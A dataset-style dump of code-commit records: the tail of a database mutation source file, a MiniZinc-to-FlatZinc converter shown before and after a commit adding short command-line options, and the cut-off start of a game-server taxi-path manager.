partition().static_row().apply(*column_def, atomic_cell::make_live(timestamp, column_def->type->decompose(value), ttl));\n}\n\nvoid mutation::set_clustered_cell(const exploded_clustering_prefix& prefix, const column_definition& def, atomic_cell_or_collection&& value) {\n auto& row = partition().clustered_row(clustering_key::from_clustering_prefix(*schema(), prefix)).cells();\n row.apply(def, std::move(value));\n}\n\nvoid mutation::set_clustered_cell(const clustering_key& key, const bytes& name, const data_value& value,\n api::timestamp_type timestamp, ttl_opt ttl) {\n auto column_def = schema()->get_column_definition(name);\n if (!column_def) {\n throw std::runtime_error(sprint(\"no column definition found for '%s'\", name));\n }\n return set_clustered_cell(key, *column_def, atomic_cell::make_live(timestamp, column_def->type->decompose(value), ttl));\n}\n\nvoid mutation::set_clustered_cell(const clustering_key& key, const column_definition& def, atomic_cell_or_collection&& value) {\n auto& row = partition().clustered_row(key).cells();\n row.apply(def, std::move(value));\n}\n\nvoid mutation::set_cell(const exploded_clustering_prefix& prefix, const bytes& name, const data_value& value,\n api::timestamp_type timestamp, ttl_opt ttl) {\n auto column_def = schema()->get_column_definition(name);\n if (!column_def) {\n throw std::runtime_error(sprint(\"no column definition found for '%s'\", name));\n }\n return set_cell(prefix, *column_def, atomic_cell::make_live(timestamp, column_def->type->decompose(value), ttl));\n}\n\nvoid mutation::set_cell(const exploded_clustering_prefix& prefix, const column_definition& def, atomic_cell_or_collection&& value) {\n if (def.is_static()) {\n set_static_cell(def, std::move(value));\n } else if (def.is_regular()) {\n set_clustered_cell(prefix, def, std::move(value));\n } else {\n throw std::runtime_error(\"attemting to store into a key cell\");\n }\n}\n\nstd::experimental::optional<atomic_cell_or_collection>\nmutation::get_cell(const clustering_key& rkey, const column_definition& def) const {\n if (def.is_static()) {\n const atomic_cell_or_collection* cell = partition().static_row().find_cell(def.id);\n if (!cell) {\n return {};\n }\n return { *cell };\n } else {\n const row* r = partition().find_row(rkey);\n if (!r) {\n return {};\n }\n const atomic_cell_or_collection* cell = r->find_cell(def.id);\n return { *cell };\n }\n}\n\nbool mutation::operator==(const mutation& m) const {\n return decorated_key().equal(*schema(), m.decorated_key())\n && partition().equal(*schema(), m.partition(), *m.schema());\n}\n\nbool mutation::operator!=(const mutation& m) const {\n return !(*this == m);\n}\n\nvoid\nmutation::query(query::result::builder& builder,\n const query::partition_slice& slice,\n gc_clock::time_point now,\n uint32_t row_limit) &&\n{\n auto pb = builder.add_partition(*schema(), key());\n auto is_reversed = slice.options.contains<query::partition_slice::option::reversed>();\n mutation_partition& p = partition();\n auto limit = std::min(row_limit, slice.partition_row_limit());\n p.compact_for_query(*schema(), now, slice.row_ranges(*schema(), key()), is_reversed, limit);\n p.query_compacted(pb, *schema(), limit);\n}\n\nquery::result\nmutation::query(const query::partition_slice& slice,\n query::result_request request,\n gc_clock::time_point now, uint32_t row_limit) &&\n{\n query::result::builder builder(slice, request);\n std::move(*this).query(builder, slice, now, row_limit);\n return builder.build();\n}\n\nquery::result\nmutation::query(const query::partition_slice& slice,\n query::result_request request,\n gc_clock::time_point now, uint32_t row_limit) const&\n{\n return mutation(*this).query(slice, request, now, row_limit);\n}\n\nsize_t\nmutation::live_row_count(gc_clock::time_point query_time) const {\n return partition().live_row_count(*schema(), query_time);\n}\n\nbool\nmutation_decorated_key_less_comparator::operator()(const mutation& m1, const mutation& m2) const {\n return m1.decorated_key().less_compare(*m1.schema(), m2.decorated_key());\n}\n\nboost::iterator_range<std::vector<mutation>::const_iterator>\nslice(const std::vector<mutation>& partitions, const query::partition_range& r) {\n struct cmp {\n bool operator()(const dht::ring_position& pos, const mutation& m) const {\n return m.decorated_key().tri_compare(*m.schema(), pos) > 0;\n };\n bool operator()(const mutation& m, const dht::ring_position& pos) const {\n return m.decorated_key().tri_compare(*m.schema(), pos) < 0;\n };\n };\n\n return boost::make_iterator_range(\n r.start()\n ? (r.start()->is_inclusive()\n ? std::lower_bound(partitions.begin(), partitions.end(), r.start()->value(), cmp())\n : std::upper_bound(partitions.begin(), partitions.end(), r.start()->value(), cmp()))\n : partitions.cbegin(),\n r.end()\n ? (r.end()->is_inclusive()\n ? std::upper_bound(partitions.begin(), partitions.end(), r.end()->value(), cmp())\n : std::lower_bound(partitions.begin(), partitions.end(), r.end()->value(), cmp()))\n : partitions.cend());\n}\n\nvoid\nmutation::upgrade(const schema_ptr& new_schema) {\n if (_ptr->_schema != new_schema) {\n schema_ptr s = new_schema;\n partition().upgrade(*schema(), *new_schema);\n _ptr->_schema = std::move(s);\n }\n}\n\nvoid mutation::apply(mutation&& m) {\n partition().apply(*schema(), std::move(m.partition()), *m.schema());\n}\n\nvoid mutation::apply(const mutation& m) {\n partition().apply(*schema(), m.partition(), *m.schema());\n}\n\nmutation& mutation::operator=(const mutation& m) {\n return *this = mutation(m);\n}\n\nmutation mutation::operator+(const mutation& other) const {\n auto m = *this;\n m.apply(other);\n return m;\n}\n\nmutation& mutation::operator+=(const mutation& other) {\n apply(other);\n return *this;\n}\n\nmutation& mutation::operator+=(mutation&& other) {\n apply(std::move(other));\n return *this;\n}\n\nenum class limit_mutation_size { yes, no };\n\ntemplate <limit_mutation_size with_limit>\nclass mutation_rebuilder {\n mutation _m;\n streamed_mutation& _sm;\n size_t _remaining_limit;\n\n template <typename T> bool check_remaining_limit(const T& e) {\n if (with_limit == limit_mutation_size::no) {\n return true;\n }\n size_t size = e.memory_usage();\n if (_remaining_limit <= size) {\n _remaining_limit = 0;\n } else {\n _remaining_limit -= size;\n }\n return _remaining_limit > 0;\n }\npublic:\n mutation_rebuilder(streamed_mutation& sm)\n : _m(sm.decorated_key(), sm.schema()), _sm(sm), _remaining_limit(0) {\n static_assert(with_limit == limit_mutation_size::no,\n \"This constructor should be used only for mutation_rebuildeer with no limit\");\n }\n mutation_rebuilder(streamed_mutation& sm, size_t limit)\n : _m(sm.decorated_key(), sm.schema()), _sm(sm), _remaining_limit(limit) {\n static_assert(with_limit == limit_mutation_size::yes,\n \"This constructor should be used only for mutation_rebuildeer with limit\");\n check_remaining_limit(_m.key());\n }\n\n stop_iteration consume(tombstone t) {\n _m.partition().apply(t);\n return stop_iteration::no;\n }\n\n stop_iteration consume(range_tombstone&& rt) {\n if (!check_remaining_limit(rt)) {\n return stop_iteration::yes;\n }\n _m.partition().apply_row_tombstone(*_m.schema(), std::move(rt));\n return stop_iteration::no;\n }\n\n stop_iteration consume(static_row&& sr) {\n if (!check_remaining_limit(sr)) {\n return stop_iteration::yes;\n }\n _m.partition().static_row().apply(*_m.schema(), column_kind::static_column, std::move(sr.cells()));\n return stop_iteration::no;\n }\n\n stop_iteration consume(clustering_row&& cr) {\n if (!check_remaining_limit(cr)) {\n return stop_iteration::yes;\n }\n auto& dr = _m.partition().clustered_row(std::move(cr.key()));\n dr.apply(cr.tomb());\n dr.apply(cr.marker());\n dr.cells().apply(*_m.schema(), column_kind::regular_column, std::move(cr.cells()));\n return stop_iteration::no;\n }\n\n mutation_opt consume_end_of_stream() {\n return with_limit == limit_mutation_size::yes && _remaining_limit == 0 ? mutation_opt()\n : mutation_opt(std::move(_m));\n }\n};\n\nfuture<mutation_opt>\nmutation_from_streamed_mutation_with_limit(streamed_mutation sm, size_t limit) {\n return do_with(std::move(sm), [limit] (auto& sm) {\n return consume(sm, mutation_rebuilder<limit_mutation_size::yes>(sm, limit));\n });\n}\n\nfuture<mutation_opt> mutation_from_streamed_mutation(streamed_mutation_opt sm) {\n if (!sm) {\n return make_ready_future<mutation_opt>();\n }\n return do_with(std::move(*sm), [] (auto& sm) {\n return consume(sm, mutation_rebuilder<limit_mutation_size::no>(sm));\n });\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\n\/*\n * Main authors:\n * Guido Tack <guido.tack@monash.edu>\n *\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n \n#include <iostream>\n#include <fstream>\n#include <ctime>\n#include <iomanip>\n\n#include <minizinc\/model.hh>\n#include <minizinc\/parser.hh>\n#include <minizinc\/prettyprinter.hh>\n#include <minizinc\/typecheck.hh>\n#include <minizinc\/exception.hh>\n\n#include <minizinc\/flatten.hh>\n#include <minizinc\/optimize.hh>\n#include <minizinc\/builtins.hh>\n\nusing namespace MiniZinc;\nusing namespace std;\n\nstd::string stoptime(clock_t& start) {\n std::ostringstream oss;\n clock_t now = clock();\n oss << std::setprecision(0) << std::fixed << ((static_cast<double>(now-start) \/ CLOCKS_PER_SEC) * 1000.0) << \" ms\";\n start = now;\n return oss.str();\n}\n\nint main(int argc, char** argv) {\n int i=1;\n string filename;\n vector<string> datafiles;\n vector<string> includePaths; \n bool flag_ignoreStdlib = false;\n bool flag_typecheck = true;\n bool flag_eval = true;\n bool flag_verbose = false;\n bool flag_newfzn = false;\n bool flag_optimize = true;\n \n clock_t starttime = std::clock();\n clock_t lasttime = std::clock();\n \n string std_lib_dir;\n if (char* MZNSTDLIBDIR = getenv(\"MZN_STDLIB_DIR\")) {\n std_lib_dir = string(MZNSTDLIBDIR);\n }\n string globals_dir;\n \n bool flag_no_output_ozn = false;\n string flag_output_base;\n string flag_output_fzn;\n string flag_output_ozn;\n bool flag_output_fzn_stdout = false;\n bool flag_output_ozn_stdout = false;\n FlatteningOptions fopts;\n \n if (argc < 2)\n goto error;\n\n GC::init();\n \n for (;;) {\n if (string(argv[i])==string(\"-h\") || string(argv[i])==string(\"--help\"))\n goto error;\n if (string(argv[i])==string(\"--version\")) {\n std::cout << \"NICTA MiniZinc to FlatZinc converter, version \"\n << MZN_VERSION_MAJOR << \".\" << MZN_VERSION_MINOR << \".\" << MZN_VERSION_PATCH << std::endl;\n std::cout << \"Copyright (C) 2014 Monash University and NICTA\" << std::endl;\n std::exit(EXIT_SUCCESS);\n }\n if (string(argv[i])==string(\"-I\")) {\n i++;\n if (i==argc) {\n goto error;\n }\n includePaths.push_back(argv[i]+string(\"\/\"));\n } else if (string(argv[i])==string(\"--ignore-stdlib\")) {\n flag_ignoreStdlib = true;\n } else if (string(argv[i])==string(\"--no-typecheck\")) {\n flag_typecheck = false; flag_eval=false;\n } else if (string(argv[i])==string(\"--no-eval\")) {\n flag_eval = false;\n } else if (string(argv[i])==string(\"--verbose\")) {\n flag_verbose = true;\n } else if (string(argv[i])==string(\"--newfzn\")) {\n flag_newfzn = true;\n } else if (string(argv[i])==string(\"--no-optimize\")) {\n flag_optimize = false;\n } else if (string(argv[i])==string(\"--no-output-ozn\") ||\n string(argv[i])==string(\"-O-\")) {\n flag_no_output_ozn = false;\n } else if (string(argv[i])==\"--output-base\") {\n i++;\n if (i==argc)\n goto error;\n flag_output_base = argv[i];\n } else if (string(argv[i])==\"-o\" || string(argv[i])==\"--output-to-file\" ||\n string(argv[i])==\"--output-fzn-to-file\") {\n i++;\n if (i==argc)\n goto error;\n flag_output_fzn = argv[i];\n } else if (string(argv[i])==\"--output-ozn-to-file\") {\n i++;\n if (i==argc)\n goto error;\n flag_output_ozn = argv[i];\n } else if (string(argv[i])==\"--output-to-stdout\" ||\n string(argv[i])==\"--output-fzn-to-stdout\") {\n flag_output_fzn_stdout = true;\n } else if (string(argv[i])==\"--output-ozn-to-stdout\") {\n flag_output_ozn_stdout = true;\n } else if (string(argv[i])==\"--stdlib-dir\") {\n i++;\n if (i==argc)\n goto error;\n std_lib_dir = argv[i];\n } else if (string(argv[i])==\"-G\" ||\n string(argv[i])==\"--globals-dir\" ||\n string(argv[i])==\"--mzn-globals-dir\") {\n i++;\n if (i==argc)\n goto error;\n globals_dir = argv[i];\n } else if (string(argv[i])==\"--only-range-domains\") {\n fopts.onlyRangeDomains = true;\n } else {\n break;\n }\n i++;\n }\n\n if (std_lib_dir==\"\") {\n std::cerr << \"Error: unknown minizinc standard library directory.\\n\"\n << \"Specify --stdlib-dir on the command line or set the\\n\"\n << \"MZN_STDLIB_DIR environment variable.\\n\";\n std::exit(EXIT_FAILURE);\n }\n \n if (globals_dir!=\"\") {\n includePaths.push_back(std_lib_dir+\"\/\"+globals_dir+\"\/\");\n }\n includePaths.push_back(std_lib_dir+\"\/std\/\");\n \n if (i==argc) {\n goto error;\n }\n filename = argv[i++];\n if (filename.length()<=4 ||\n filename.substr(filename.length()-4,string::npos) != \".mzn\")\n goto error;\n \n if (flag_output_base == \"\") {\n flag_output_base = filename.substr(0,filename.length()-4);\n }\n if (flag_output_fzn == \"\") {\n flag_output_fzn = flag_output_base+\".fzn\";\n }\n if (flag_output_ozn == \"\") {\n flag_output_ozn = flag_output_base+\".ozn\";\n }\n \n while (i<argc) {\n std::string datafile = argv[i++];\n if (datafile.length()<=4 ||\n datafile.substr(datafile.length()-4,string::npos) != \".dzn\")\n goto error;\n datafiles.push_back(datafile);\n }\n\n {\n std::stringstream errstream;\n if (flag_verbose)\n std::cerr << \"Parsing '\" << filename << \"' ...\";\n if (Model* m = parse(filename, datafiles, includePaths, flag_ignoreStdlib, \n errstream)) {\n try {\n if (flag_typecheck) {\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n if (flag_verbose)\n std::cerr << \"Typechecking ...\";\n MiniZinc::typecheck(m);\n MiniZinc::registerBuiltins(m);\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n\n if (flag_verbose)\n std::cerr << \"Flattening ...\";\n Env env(m);\n try {\n flatten(env,fopts);\n } catch (LocationException& e) {\n if (flag_verbose)\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n std::cerr << e.loc() << std::endl;\n env.dumpErrorStack(std::cerr);\n exit(EXIT_FAILURE);\n }\n Model* flat = env.flat();\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n \n if (flag_optimize) {\n if (flag_verbose)\n std::cerr << \"Optimizing ...\";\n optimize(env);\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n }\n\n if (!flag_newfzn) {\n if (flag_verbose)\n std::cerr << \"Converting to old FlatZinc ...\";\n oldflatzinc(env);\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n }\n \n if (flag_verbose)\n std::cerr << \"Printing FlatZinc ...\";\n if (flag_output_fzn_stdout) {\n Printer p(std::cout,0);\n p.print(flat);\n } else {\n std::ofstream os;\n os.open(flag_output_fzn.c_str(), ios::out);\n Printer p(os,0);\n p.print(flat);\n os.close();\n }\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n if (!flag_no_output_ozn) {\n if (flag_verbose)\n std::cerr << \"Printing .ozn ...\";\n if (flag_output_ozn_stdout) {\n Printer p(std::cout,0);\n p.print(env.output());\n } else {\n std::ofstream os;\n os.open(flag_output_ozn.c_str(), ios::out);\n Printer p(os,0);\n p.print(env.output());\n os.close();\n }\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n }\n } else { \/\/ !flag_typecheck\n Printer p(std::cout);\n p.print(m);\n }\n } catch (LocationException& e) {\n if (flag_verbose)\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n std::cerr << e.loc() << std::endl;\n exit(EXIT_FAILURE);\n } catch (Exception& e) {\n if (flag_verbose)\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n exit(EXIT_FAILURE);\n }\n delete m;\n } else {\n if (flag_verbose)\n std::cerr << std::endl;\n std::copy(istreambuf_iterator<char>(errstream),istreambuf_iterator<char>(),ostreambuf_iterator<char>(std::cerr));\n }\n }\n\n if (flag_verbose)\n std::cerr << \"Done (overall time \" << stoptime(starttime) << \").\" << std::endl;\n return 0;\n\nerror:\n std::cerr << \"Usage: \"<< argv[0]\n << \" [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...]\" << std::endl\n << std::endl\n << \"Options:\" << std::endl\n << \" --help, -h\\n Print this help message\" << std::endl\n << \" --version\\n Print version information\" << std::endl\n << \" --ignore-stdlib\\n Ignore the standard libraries stdlib.mzn and builtins.mzn\" << std::endl\n << \" --newfzn\\n Output in the new FlatZinc format\" << std::endl\n << \" --verbose\\n Print progress statements\" << std::endl\n << \" --no-typecheck\\n Do not typecheck (implies --no-eval)\" << std::endl\n << \" --no-eval\\n Do not evaluate\" << std::endl\n << \" --no-optimize\\n Do not optimize the FlatZinc (may speed up large instances)\" << std::endl\n << \" --no-output-ozn, -O-\\n Do not output ozn file\" << std::endl\n << \" --output-base <name>\\n Base name for output files\" << std::endl\n << \" -o <file>, --output-to-file <file>, --output-fzn-to-file <file>\\n Filename for generated FlatZinc output\" << std::endl\n << \" --output-ozn-to-file <file>\\n Filename for model output specification\" << std::endl\n << \" --output-to-stdout, --output-fzn-to-stdout\\n Print generated FlatZinc to standard output\" << std::endl\n << \" --output-ozn-to-stdout\\n Print model output specification to standard output\" << std::endl\n << \" --stdlib-dir <dir>\\n Path to MiniZinc standard library directory\" << std::endl\n << \" -G --globals-dir --mzn-globals-dir\\n Search for included files in <stdlib>\/<dir>.\" << std::endl\n ;\n\n exit(EXIT_FAILURE);\n}\n<commit_msg>Support short command line arguments (like -Gg12_fd)<commit_after>\/* -*- mode: C++; c-basic-offset: 2; indent-tabs-mode: nil -*- *\/\n\n\/*\n * Main authors:\n * Guido Tack <guido.tack@monash.edu>\n *\/\n\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n \n#include <iostream>\n#include <fstream>\n#include <ctime>\n#include <iomanip>\n\n#include <minizinc\/model.hh>\n#include <minizinc\/parser.hh>\n#include <minizinc\/prettyprinter.hh>\n#include <minizinc\/typecheck.hh>\n#include <minizinc\/exception.hh>\n\n#include <minizinc\/flatten.hh>\n#include <minizinc\/optimize.hh>\n#include <minizinc\/builtins.hh>\n\nusing namespace MiniZinc;\nusing namespace std;\n\nstd::string stoptime(clock_t& start) {\n std::ostringstream oss;\n clock_t now = clock();\n oss << std::setprecision(0) << std::fixed << ((static_cast<double>(now-start) \/ CLOCKS_PER_SEC) * 1000.0) << \" ms\";\n start = now;\n return oss.str();\n}\n\nbool beginswith(string s, string t) {\n return s.compare(0, t.length(), t)==0;\n}\n\nint main(int argc, char** argv) {\n int i=1;\n string filename;\n vector<string> datafiles;\n vector<string> includePaths; \n bool flag_ignoreStdlib = false;\n bool flag_typecheck = true;\n bool flag_eval = true;\n bool flag_verbose = false;\n bool flag_newfzn = false;\n bool flag_optimize = true;\n \n clock_t starttime = std::clock();\n clock_t lasttime = std::clock();\n \n string std_lib_dir;\n if (char* MZNSTDLIBDIR = getenv(\"MZN_STDLIB_DIR\")) {\n std_lib_dir = string(MZNSTDLIBDIR);\n }\n string globals_dir;\n \n bool flag_no_output_ozn = false;\n string flag_output_base;\n string flag_output_fzn;\n string flag_output_ozn;\n bool flag_output_fzn_stdout = false;\n bool flag_output_ozn_stdout = false;\n FlatteningOptions fopts;\n \n if (argc < 2)\n goto error;\n\n GC::init();\n \n for (;;) {\n if (string(argv[i])==string(\"-h\") || string(argv[i])==string(\"--help\"))\n goto error;\n if (string(argv[i])==string(\"--version\")) {\n std::cout << \"NICTA MiniZinc to FlatZinc converter, version \"\n << MZN_VERSION_MAJOR << \".\" << MZN_VERSION_MINOR << \".\" << MZN_VERSION_PATCH << std::endl;\n std::cout << \"Copyright (C) 2014 Monash University and NICTA\" << std::endl;\n std::exit(EXIT_SUCCESS);\n }\n if (beginswith(string(argv[i]),\"-I\")) {\n string include(argv[i]);\n if (include.length() > 2) {\n includePaths.push_back(include.substr(2)+string(\"\/\"));\n } else {\n i++;\n if (i==argc) {\n goto error;\n }\n includePaths.push_back(argv[i]+string(\"\/\"));\n }\n } else if (string(argv[i])==string(\"--ignore-stdlib\")) {\n flag_ignoreStdlib = true;\n } else if (string(argv[i])==string(\"--no-typecheck\")) {\n flag_typecheck = false; flag_eval=false;\n } else if (string(argv[i])==string(\"--no-eval\")) {\n flag_eval = false;\n } else if (string(argv[i])==string(\"--verbose\")) {\n flag_verbose = true;\n } else if (string(argv[i])==string(\"--newfzn\")) {\n flag_newfzn = true;\n } else if (string(argv[i])==string(\"--no-optimize\")) {\n flag_optimize = false;\n } else if (string(argv[i])==string(\"--no-output-ozn\") ||\n string(argv[i])==string(\"-O-\")) {\n flag_no_output_ozn = false;\n } else if (string(argv[i])==\"--output-base\") {\n i++;\n if (i==argc)\n goto error;\n flag_output_base = argv[i];\n } else if (beginswith(string(argv[i]),\"-o\")) {\n string filename(argv[i]);\n if (filename.length() > 2) {\n flag_output_fzn = filename.substr(2);\n } else {\n i++;\n if (i==argc) {\n goto error;\n }\n flag_output_fzn = argv[i];\n }\n } else if (string(argv[i])==\"--output-to-file\" ||\n string(argv[i])==\"--output-fzn-to-file\") {\n i++;\n if (i==argc)\n goto error;\n flag_output_fzn = argv[i];\n } else if (string(argv[i])==\"--output-ozn-to-file\") {\n i++;\n if (i==argc)\n goto error;\n flag_output_ozn = argv[i];\n } else if (string(argv[i])==\"--output-to-stdout\" ||\n string(argv[i])==\"--output-fzn-to-stdout\") {\n flag_output_fzn_stdout = true;\n } else if (string(argv[i])==\"--output-ozn-to-stdout\") {\n flag_output_ozn_stdout = true;\n } else if (string(argv[i])==\"--stdlib-dir\") {\n i++;\n if (i==argc)\n goto error;\n std_lib_dir = argv[i];\n } else if (beginswith(string(argv[i]),\"-G\")) {\n string filename(argv[i]);\n if (filename.length() > 2) {\n globals_dir = filename.substr(2);\n } else {\n i++;\n if (i==argc) {\n goto error;\n }\n globals_dir = argv[i];\n }\n } else if (string(argv[i])==\"--globals-dir\" ||\n string(argv[i])==\"--mzn-globals-dir\") {\n i++;\n if (i==argc)\n goto error;\n globals_dir = argv[i];\n } else if (string(argv[i])==\"--only-range-domains\") {\n fopts.onlyRangeDomains = true;\n } else {\n break;\n }\n i++;\n if (i==argc)\n goto error;\n }\n\n if (std_lib_dir==\"\") {\n std::cerr << \"Error: unknown minizinc standard library directory.\\n\"\n << \"Specify --stdlib-dir on the command line or set the\\n\"\n << \"MZN_STDLIB_DIR environment variable.\\n\";\n std::exit(EXIT_FAILURE);\n }\n \n if (globals_dir!=\"\") {\n includePaths.push_back(std_lib_dir+\"\/\"+globals_dir+\"\/\");\n }\n includePaths.push_back(std_lib_dir+\"\/std\/\");\n \n if (i==argc) {\n goto error;\n }\n filename = argv[i++];\n if (filename.length()<=4 ||\n filename.substr(filename.length()-4,string::npos) != \".mzn\")\n goto error;\n \n if (flag_output_base == \"\") {\n flag_output_base = filename.substr(0,filename.length()-4);\n }\n if (flag_output_fzn == \"\") {\n flag_output_fzn = flag_output_base+\".fzn\";\n }\n if (flag_output_ozn == \"\") {\n flag_output_ozn = flag_output_base+\".ozn\";\n }\n \n while (i<argc) {\n std::string datafile = argv[i++];\n if (datafile.length()<=4 ||\n datafile.substr(datafile.length()-4,string::npos) != \".dzn\")\n goto error;\n datafiles.push_back(datafile);\n }\n\n {\n std::stringstream errstream;\n if (flag_verbose)\n std::cerr << \"Parsing '\" << filename << \"' ...\";\n if (Model* m = parse(filename, datafiles, includePaths, flag_ignoreStdlib, \n errstream)) {\n try {\n if (flag_typecheck) {\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n if (flag_verbose)\n std::cerr << \"Typechecking ...\";\n MiniZinc::typecheck(m);\n MiniZinc::registerBuiltins(m);\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n\n if (flag_verbose)\n std::cerr << \"Flattening ...\";\n Env env(m);\n try {\n flatten(env,fopts);\n } catch (LocationException& e) {\n if (flag_verbose)\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n std::cerr << e.loc() << std::endl;\n env.dumpErrorStack(std::cerr);\n exit(EXIT_FAILURE);\n }\n Model* flat = env.flat();\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n \n if (flag_optimize) {\n if (flag_verbose)\n std::cerr << \"Optimizing ...\";\n optimize(env);\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n }\n\n if (!flag_newfzn) {\n if (flag_verbose)\n std::cerr << \"Converting to old FlatZinc ...\";\n oldflatzinc(env);\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n }\n \n if (flag_verbose)\n std::cerr << \"Printing FlatZinc ...\";\n if (flag_output_fzn_stdout) {\n Printer p(std::cout,0);\n p.print(flat);\n } else {\n std::ofstream os;\n os.open(flag_output_fzn.c_str(), ios::out);\n Printer p(os,0);\n p.print(flat);\n os.close();\n }\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n if (!flag_no_output_ozn) {\n if (flag_verbose)\n std::cerr << \"Printing .ozn ...\";\n if (flag_output_ozn_stdout) {\n Printer p(std::cout,0);\n p.print(env.output());\n } else {\n std::ofstream os;\n os.open(flag_output_ozn.c_str(), ios::out);\n Printer p(os,0);\n p.print(env.output());\n os.close();\n }\n if (flag_verbose)\n std::cerr << \" done (\" << stoptime(lasttime) << \")\" << std::endl;\n }\n } else { \/\/ !flag_typecheck\n Printer p(std::cout);\n p.print(m);\n }\n } catch (LocationException& e) {\n if (flag_verbose)\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n std::cerr << e.loc() << std::endl;\n exit(EXIT_FAILURE);\n } catch (Exception& e) {\n if (flag_verbose)\n std::cerr << std::endl;\n std::cerr << e.what() << \": \" << e.msg() << std::endl;\n exit(EXIT_FAILURE);\n }\n delete m;\n } else {\n if (flag_verbose)\n std::cerr << std::endl;\n std::copy(istreambuf_iterator<char>(errstream),istreambuf_iterator<char>(),ostreambuf_iterator<char>(std::cerr));\n }\n }\n\n if (flag_verbose)\n std::cerr << \"Done (overall time \" << stoptime(starttime) << \").\" << std::endl;\n return 0;\n\nerror:\n std::cerr << \"Usage: \"<< argv[0]\n << \" [<options>] [-I <include path>] <model>.mzn [<data>.dzn ...]\" << std::endl\n << std::endl\n << \"Options:\" << std::endl\n << \" --help, -h\\n Print this help message\" << std::endl\n << \" --version\\n Print version information\" << std::endl\n << \" --ignore-stdlib\\n Ignore the standard libraries stdlib.mzn and builtins.mzn\" << std::endl\n << \" --newfzn\\n Output in the new FlatZinc format\" << std::endl\n << \" --verbose\\n Print progress statements\" << std::endl\n << \" --no-typecheck\\n Do not typecheck (implies --no-eval)\" << std::endl\n << \" --no-eval\\n Do not evaluate\" << std::endl\n << \" --no-optimize\\n Do not optimize the FlatZinc (may speed up large instances)\" << std::endl\n << \" --no-output-ozn, -O-\\n Do not output ozn file\" << std::endl\n << \" --output-base <name>\\n Base name for output files\" << std::endl\n << \" -o <file>, --output-to-file <file>, --output-fzn-to-file <file>\\n Filename for generated FlatZinc output\" << std::endl\n << \" --output-ozn-to-file <file>\\n Filename for model output specification\" << std::endl\n << \" --output-to-stdout, --output-fzn-to-stdout\\n Print generated FlatZinc to standard output\" << std::endl\n << \" --output-ozn-to-stdout\\n Print model output specification to standard output\" << std::endl\n << \" --stdlib-dir <dir>\\n Path to MiniZinc standard library directory\" << std::endl\n << \" -G --globals-dir --mzn-globals-dir\\n Search for included files in <stdlib>\/<dir>.\" << std::endl\n ;\n\n exit(EXIT_FAILURE);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * ArcEmu MMORPG Server\n * Copyright (C) 2005-2007 Ascent Team <http:\/\/www.ascentemu.com\/>\n * Copyright (C) 2008 <http:\/\/www.ArcEmu.org\/>\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n#include \"StdAfx.h\"\n\ninitialiseSingleton( TaxiMgr );\n\n\/************************\n *\t TaxiPath\t *\n ************************\/\n\nvoid TaxiPath::ComputeLen()\n{\n\tm_length1 = m_length1 = 0;\n\tm_map1 = m_map2 = 0;\n\tfloat * curptr = &m_length1;\n\n\tif (!m_pathNodes.size())\n\t\treturn;\n\n\tstd::map<uint32, TaxiPathNode*>::iterator itr;\n\titr = m_pathNodes.begin();\n\n\tfloat x = itr->second->x;\n\tfloat y = itr->second->y;\n\tfloat z = itr->second->z;\n\tuint32 curmap = itr->second->mapid;\n\tm_map1 = curmap;\n\n\titr++;\n\n\twhile (itr != m_pathNodes.end())\n\t{\n\t\tif( itr->second->mapid != curmap )\n\t\t{\n\t\t\tcurptr = &m_length2;\n\t\t\tm_map2 = itr->second->mapid;\n\t\t\tcurmap = itr->second->mapid;\n\t\t}\n\n\t\t*curptr += sqrt((itr->second->x - x)*(itr->second->x - x) +\n\t\t\t(itr->second->y - y)*(itr->second->y - y) + \n\t\t\t(itr->second->z - z)*(itr->second->z - z));\n\n\t\tx = itr->second->x;\n\t\ty = itr->second->y;\n\t\tz = itr->second->z;\n\t\titr++;\n\t}\n}\n\nvoid TaxiPath::SetPosForTime(float &x, float &y, float &z, uint32 time, uint32 *last_node, uint32 mapid)\n{\n\tif 